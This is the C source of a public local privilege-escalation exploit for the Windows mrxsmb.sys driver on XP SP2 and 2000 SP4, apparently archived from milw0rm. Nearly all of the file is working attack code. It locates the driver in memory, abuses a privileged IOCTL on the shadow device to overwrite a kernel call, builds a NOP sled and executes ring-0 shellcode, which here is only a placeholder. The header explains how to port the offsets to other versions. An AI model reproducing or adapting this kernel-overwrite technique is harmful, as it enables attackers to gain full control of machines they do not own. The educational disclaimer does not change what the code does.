///////////////////////////////////////////////////////////////////////////////////////
// Mrxsmb.sys XP & 2K Ring0 Exploit (6/12/2005)
// Tested on XP SP2 && 2K SP4
// Disable ReadOnly Memory protection
// HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\EnforceWriteProtection = 0
// -----------------------------------------------------------------------------------
// ONLY FOR EDUCATIONAL PURPOSES.
// -----------------------------------------------------------------------------------
// Rubén Santamarta.
// www.reversemode.com
// -----------------------------------------------------------------------------------
// OVERVIEW
// -----------------------------------------------------------------------------------
// There are 3 possible values to change in order to adjust the exploit to other versions.
// # XPSP2 (XP Service Pack 2)
// This variable is equal to the File offset of the Call that we are modifying minus 0xC
//. #XPSP2 => 3D88020000 cmp eax,000000288
//. 770B ja .000064BBE --
//. 50 push eax
//. 51 push ecx
//. E812E2FFFF call .000062DCC -- MODIFIED CALL --
// -----------------------------------------------------------------------------------
// #W2KSP4 (Windows 2000 Service Pack 4)
// The same method previosly explained but regarding to Windows 2000 Service Pack 4.
// -----------------------------------------------------------------------------------
// $OffWord
// This variable is defined in CalcJump() Function.
// E812E2FFFF call .000062DCC -- MODIFIED CALL --
// The exploit calculates automatically the relative jump, but we need to provide it
// the 2 bytes following opcode Call(0xE8). In example, as we can see, to test in XP
// OffWord will be equal to 0xE212.
//////////////////////////////////////////////////////////////////////////////////////
#include <windows.h>
#include <stdio.h>
#define XPSP2 0x54BAC
#define W2KSP4 0x50ADD
#define MAGIC_IOCTL 0x141043
typedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*,
DWORD ,
LPDWORD);
typedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase,
LPTSTR lpBaseName,
DWORD nSize);
VOID ShowError()
{
LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0,
NULL);
MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
exit(1);
}
DWORD CalcJump(DWORD BaseMRX,BOOL InXP,DWORD *hValue,DWORD *ShellAddr)
{
DWORD SumTemp;
DWORD IniAddress;
DWORD i;
DWORD sumAux;
DWORD addTemp;
DWORD OffWord;
if(InXP)
{
SumTemp=BaseMRX+XPSP2+0xE;
OffWord=0xE212;
}
else
{
SumTemp=BaseMRX+W2KSP4+0xE;
OffWord=0xa971;
}
for(i=0x4c;i<0xDDDC;i=i+4)
{
sumAux=~((i*0x10000)+OffWord);
addTemp=SumTemp-sumAux;
if(addTemp>0xE000000 && addTemp<0xF000000){
IniAddress=addTemp&0xFFFFF000;
*hValue=i-4;
*ShellAddr=addTemp;
break;
}
}
printf("\nINFORMATION \n");
printf("-----------------------------------------------------\n");
printf("Patched Driver Call pointing to \t [0x%p]\n",addTemp);
return (IniAddress);
}
int main(int argc, char *argv[])
{
PENUMDEVICES pEnumDeviceDrivers;
PGETDEVNAME pGetDeviceDriverBaseName;
LPVOID arrMods[200],addEx;
DWORD cb,i,devNum,dwTemp,hValue,Ring0Addr,junk,ShellAddr,BaseMRX=0;
DWORD *OutBuff,*InBuff;
HANDLE hDevice;
BOOL InXP;
CHAR baseName[255];
CONST CHAR Ring0ShellCode[]="\xCC"; //"PUT YOUR RING0 CODE HERE :)"
if(argc<2)
{
printf("\nMRXSMB.SYS RING0 Exploit\n");
printf("--- Ruben Santamarta ---\n");
printf("Tested on XPSP2 & W2KSP4\n");
printf("\nusage> exploit.exe <XP> or <2K>\n");
exit(1);
}
if(strncmp(argv[1],"XP",2)==0)
InXP=TRUE;
else
InXP=FALSE;
pEnumDeviceDrivers=(PENUMDEVICES)GetProcAddress(LoadLibrary("psapi.dll"),
"EnumDeviceDrivers");
pGetDeviceDriverBaseName=(PGETDEVNAME)GetProcAddress(LoadLibrary("psapi.dll"),
"GetDeviceDriverBaseNameA");
pEnumDeviceDrivers(arrMods,sizeof(arrMods),&cb);
devNum=cb/sizeof(LPVOID);
printf("\nSearching Mrxsmb.sys Base Address...");
for(i=1;i<=devNum;i++)
{
pGetDeviceDriverBaseName(arrMods[i],baseName,254);
if((strncmp(baseName,"mrxsmb",6)==0))
{
printf("[%x] Found!\n",arrMods[i]);
BaseMRX=(DWORD)arrMods[i];
}
}
if(!BaseMRX)
{
printf("Not Found\nExiting\n\n");
exit(1);
}
addEx=(LPVOID)CalcJump(BaseMRX,InXP,&hValue,&ShellAddr);
OutBuff=(DWORD*)VirtualAlloc((LPVOID)addEx,0xF000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!OutBuff) ShowError();
printf("F000h bytes allocated at \t\t [0x%p]\n",addEx);
printf("Value needed \t\t\t [0x%p]\n",hValue+4);
InBuff=OutBuff;
printf("Checking Shadow Device...");
hDevice = CreateFile("\\\\.\\shadow",
FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) ShowError();
printf("[OK]\n");
printf("Querying Device...\n");
while(OutBuff[3]< hValue)
{
DeviceIoControl(hDevice, // "\\.\shadow"
MAGIC_IOCTL, // Privileged IOCTL
InBuff, 2, // InBuffer, InBufferSize
OutBuff, 0x18,// OutBuffer,OutBufferSize
&junk, // bytes returned
(LPOVERLAPPED) NULL);
printf("\r\t[->]VALUES: (%x)",OutBuff[3]);
}
if(InXP)
Ring0Addr=BaseMRX+XPSP2;
else
Ring0Addr=BaseMRX+W2KSP4;
printf("Overwritting Driver Call at[%x]...",Ring0Addr);
DeviceIoControl(hDevice, // "\\.\shadow"
MAGIC_IOCTL, // Privileged IOCTL
InBuff, 2, // InBuffer, InBufferSize
(LPVOID)Ring0Addr, 0x18,// OutBuffer,OutBufferSize 0x
&junk, // bytes returned
(LPOVERLAPPED) NULL);
printf("[OK]\n");
for(i=1;i<0x3C00;i++) OutBuff[i]=0x90909090;
memcpy((LPVOID*)ShellAddr,(LPVOID*)Ring0ShellCode,sizeof(Ring0ShellCode));
printf("Sending IOCTL to execute the ShellCode\n");
DeviceIoControl(hDevice, // "\\.\shadow"
MAGIC_IOCTL, // Privileged IOCTL
InBuff, 2, // InBuffer, InBufferSize
OutBuff, 0x18,// OutBuffer,OutBufferSize
&junk, // bytes returned
(LPOVERLAPPED) NULL);
dwTemp=CloseHandle(hDevice);
if(!dwTemp) ShowError();
dwTemp=VirtualFree(OutBuff,0xf000,MEM_DECOMMIT);
if(!dwTemp) ShowError();
return(1);
}
// milw0rm.com [2006-06-14]
